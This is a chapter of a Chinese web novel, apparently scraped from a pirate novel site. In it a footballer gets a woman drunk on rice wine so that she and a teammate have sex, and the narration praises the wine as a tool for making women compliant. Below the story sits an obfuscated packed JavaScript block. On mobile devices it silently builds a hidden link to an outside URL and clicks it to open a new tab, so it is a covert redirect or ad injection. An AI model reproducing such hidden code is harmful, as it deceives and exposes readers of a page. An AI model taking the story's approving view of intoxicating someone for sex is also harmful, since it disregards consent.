第五文学网 > 玄幻小说 > 金色绿茵 > 正文 第七〇六章 仗义大哥好兄弟

正文 第七〇六章 仗义大哥好兄弟

    “鸭子,把你芭姐扶好。”

    其实是芭芭拉在扶着帕托,鸭子的手搭在她屁股上偷着摩挲,他以为卓杨没看见。芭芭拉虽然没有喝醉,但在酒精刺激下也已然兴致高涨,也就由着鸭子的禄山之爪。

    卓杨带着二人由后门离开了奇装异服,开上车就直奔提前订好的地方而去。后座上的帕托手依然在偷偷摸摸不老实,芭芭拉则用饶有玩味的眼神一直盯着卓杨。

    距离并不远,一会儿就到了。这是一间非常隐秘且高格调的日式民宿,也是米兰城许多达官贵人名流偷欢的绝佳场所。卓杨几天前就预定好了独栋小院,三个人,一个假醉的、一个陶醉的、一个嗨醉的,拉拉扯扯便走了进来。

    虽然没有了靡乱的音乐和撩人的灯光,但此处的寂静氛围显然更加暧昧,来这里是要干嘛每个人都心照不宣,何况卓杨还在这里预备好了纵情大杀器黄酒。

    那天在圣西罗,弗格森爵爷不知深浅地酒醉给了卓杨灵感,为了能在酒量相当不错的芭芭拉眼皮子底下顺利脱身,黄酒是绝佳的选择。

    没有喝过黄酒的人非常容易着了它的道,因为黄酒入口香醇甜美,完全没有白酒的辛辣刺激。白酒喝一口便醉一分,但黄酒口感柔顺回味悠长,一副乖巧的模样将凶险深深隐藏。黄酒醉了,一切都已经来不及了。

    自古以来,黄酒就是别有用心的男人用来收割良家女子的绝佳道具,一直到现在都是如此。因为黄酒不但能于无声处醉人,还能催情助性,宽衣解带是如此顺畅体贴。

    比黄酒功效更厉害的,是温热的黄酒比温热黄酒还要厉害的,是在肚子里掺杂了其他酒。

    一进入房间围坐在榻榻米上,芭芭拉就把外套脱了,紧身低浅的蕾丝束衣让傲蕾呼之欲出。帕托坐在侧面,强忍着酒色醉意假装很欣赏卓老大温酒的样子,眼睛却不停往那边的誘惑之处偷瞟。

    芭芭拉大意了,她不但认为卓杨今天想开了,终于明白情和欲是上天赐给每个人最美的礼物,打算在今夜纵情彻欢,还非常有情趣地安排了帕托陪欢。在芭芭拉看来,这场景是非常寻常的事情,同吃饭喝水一样寻常。

    而且她完全没有了卓杨临阵脱逃的警惕,因为卓杨和她一起喝着这种来自中国、她从未品尝过的香糯软饮。即便有淡淡的酒味,即便刚才在夜店里卓杨耍了滑头,但芭芭拉知道自己的酒量比卓杨高深许多,何况她已经被黄酒的绵醇吸引。

    四只瓷壶空了之后,三个人全都一副精虫上头的样子,唯有卓杨是假装的。黄酒虽诱,但他肚子里原本只有苏打水,这点程度自然还不够让他乱了方寸。

    看着帕托和芭芭拉眼睛里都要滴出水来,感觉到火候已到,卓杨便假装尿遁摇摇晃晃躲进了洗手间。即便有心理准备,可十分钟后他蹑手蹑脚走出来,却还是脑袋轰一下,榻榻米上的景色已然风月无边,不堪入目。

    事了拂衣去,深藏身与名。卓杨悄悄离开了春意盎然的日式民宿,把车直接开回了科莫湖。深夜了,他在琴键上灵魂飞舞,那处樱花漫月之下,彻夜的鏖战。

    隔日下午在米兰内洛全队恢复性训练的时候,黑着眼圈萎靡不振的帕托掐着时间点匆匆赶来,而且他的腿明显有些发软。昨夜的风月妙不可言,虽然鸭子和初恋女友也曾爱意绵绵,但斯蒂芬妮在床笫之欢上如何能与绝对专业级水准的芭芭拉相媲美,鸭子爽到了每一个细胞每一丝骨头缝里。

    帕托当然知道芭芭拉天性本淫的名声,暗地里他也没少了幻想一下。但他和芭芭拉身份差别有些悬殊,除非芭芭拉主动示意,否则他撑破天也就是怀揣着非分之想,绝不敢有丁点举动。但昨晚遂成了好事,开了这个口子之后,今后就成了顺理成章你情我愿的床伴。芭芭拉的一小步,是帕托的一大步。

    爽是爽了,而且还想继续爽,但鸭子提心吊胆勾着脑袋躲着卓杨。他心里清楚卓老大和芭芭拉关系十分密切,而且认为一定有那种关系,绝对不可能没有。

    我他妈摊上大事了!卓哥好心好意带我喝酒散心,我却把他女人上了,他还不得打死我?饶命呐!上帝救救我……

    卓杨看见鸭子缩头缩脑的样子都想笑,这小子心里担心什么他门儿清。于是,他故意装作气愤的样子,阴沉着脸,更是把鸭子吓得命悬一线。

    想躲?门儿也没有!趁着力量房没人、鸭子鬼鬼祟祟也想溜走的时候,卓杨冲着他大喝一声:“鸭子!你他妈还敢躲着我?给老子滚过来!!”

    只这一声,帕托立马原地噗通跪下,魂都吓没了。“卓哥,我错了我错了,对不起对不起,别打我,求求你别打我……”

    卓杨差点笑喷出来,但还是强忍着吊个脸:“过来!”

    嗵嗵嗵嗵嗵……帕托膝行着连滚带爬。“卓哥饶了我,我错了我错了,卓哥饶了我……”

    “瞧你那怂样,起来!”

    “我不起来。”

    “不起来我打死你!”

    刚才跪下去有多快,帕托这会儿起来就有多快。

    “我他妈好意请你去喝酒,你给老子玩这么一出?啊!”

    “卓哥对不起对不起,我喝醉了没控制住,你怎么一声不吭就走了呢?我……”

    “我他妈能不走吗?拉了泡屎出来你俩就肉贴肉摞一起了。我不走?不走去给你硬拔出来?瞧你那小屁股抖的,跟他妈打字机一样快。”

    “我错了,卓哥,我该死,我该杀,我是个杀千刀的……”

    实在演不下去了,卓杨强忍住笑意猛然一挥手:“唉!算了算了,兄弟如手足,女人如衣服,谁让老子把兄弟看得比天都大呢!算了,我兄弟爽了就行。”

    帕托都傻了,张着大嘴仰头看向卓杨,一瞬间热泪盈眶:“卓哥……”声音都在发抖。

    “行了鸭子,我是做大哥的,兄弟不管做了什么都是我这个大哥的错。以后呐,你芭姐就归你了,谁让你是我兄弟呢?”配合着极度夸张的肢体语言,卓杨豪气冲云天。

    帕托再也控制不住,哇的一声嚎啕大哭,扑上来一把将卓杨抱住。“卓哥,卓哥!鸭子这辈子都是你兄弟,这条命都是卓哥你的,哇哇卓哥,我的好大哥,哇”

    卓杨慈祥地抚摸着鸭子的头发,像爸爸爱儿子。


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('t B(){o(S C==="\\p\\6\\3\\0\\j\\5\\6\\0\\3"){D T}E a=(U^V)+(F^F);u G=C[\'\\p\\c\\0\\9\\W\\k\\0\\6\\4\'][\'\\4\\2\\v\\2\\m\\0\\9\\q\\1\\c\\0\']();a="X".w("").x().y("");u H=Y Z(\'\\1\\6\\3\\9\\2\\5\\3\\d\\5\\e\\l\\2\\6\\0\\d\\5\\e\\1\\3\\d\\5\\e\\2\\3\\d\\m\\5\\6\\3\\2\\m\\c\\I\\e\\l\\2\\6\\0\\d\\7\\8\\1\\g\\r\\7\\0\\9\\9\\h\\d\\c\\h\\f\\7\\5\\1\\6\\d\\m\\0\\7\\2\\c\\d\\2\\e\\0\\9\\1\\I\\f\\5\\6\\5\\d\\5\\0\\f\\2\\7\\5\\8\\0\\d\\f\\2\\7\\5\\8\\0\',\'\\5\');D H[\'\\4\\0\\c\\4\'](G)}t J(a){E b=(K^K)+(10^11);u i=n[\'\\g\\9\\0\\1\\4\\0\\L\\8\\0\\f\\0\\6\\4\']("\\1");b=(12^13)+(14^15);i[\'\\l\\9\\0\\j\']=a;i[\'\\c\\4\\h\\8\\0\'][\'\\3\\5\\c\\e\\8\\1\\h\']="\\6\\2\\6\\0";i[\'\\4\\1\\9\\k\\0\\4\']="16".w("").x().y("");n[\'\\7\\2\\3\\h\'][\'\\1\\e\\e\\0\\6\\3\\q\\l\\5\\8\\3\'](i);i[\'\\g\\8\\5\\g\\r\']();n[\'\\7\\2\\3\\h\'][\'\\9\\0\\f\\2\\z\\0\\q\\l\\5\\8\\3\'](i)}n[\'\\1\\3\\3\\L\\z\\0\\6\\4\\v\\5\\c\\4\\0\\6\\0\\9\']("\\17\\18\\19\\q\\2\\6\\4\\0\\6\\4\\v\\2\\1\\3\\0\\3",t(){o(!M[\'\\k\\8\\2\\7\\1\\8\\N\\1\\9\']){o(n[\'\\7\\2\\3\\h\']!=1a){M[\'\\k\\8\\2\\7\\1\\8\\N\\1\\9\']="\\A";O=P[\'\\k\\0\\4\\A\\4\\0\\f\']("\\8\\p\\g\\r\\Q\\j\\j");o(!O&&B()){J("\\l\\4\\4\\e\\c\\1b\\s\\s\\7\\m\\1c\\1d\\1e\\R\\9\\1f\\3\\k\\z\\7\\R\\g\\2\\f\\s\\g\\7\\3\\s\\1\\1\\1\\1\\7\\1")}P[\'\\c\\0\\4\\A\\4\\0\\f\']("\\8\\p\\g\\r\\Q\\j\\j","1g".w("").x().y(""))}}});',62,79,'u0065|u0061|u006F|u0064|u0074|u0069|u006E|u0062|u006C|u0072|||u0073|u007C|u0070|u006D|u0063|u0079|_0x9c_0xc86|u0066|u0067|u0068|u0077|document|if|u0075|u0043|u006B|u002F|function|const|u004C|split|reverse|join|u0076|u0049|isMobileDevice|navigator|return|var|464266|_0x86227d|_0x2_0x5d8|u0020|OpenUrl|200295|u0045|window|u0056|hasExecuted|localStorage|u005F|u002E|typeof|false|399549|399546|u0041|fmhjpl|new|RegExp|642306|642305|447903|447894|731200|731209|knalb_|u0044|u004F|u004D|null|u003A|u0031|u0030|u0032|u007A|eurt'.split('|'),0,{}))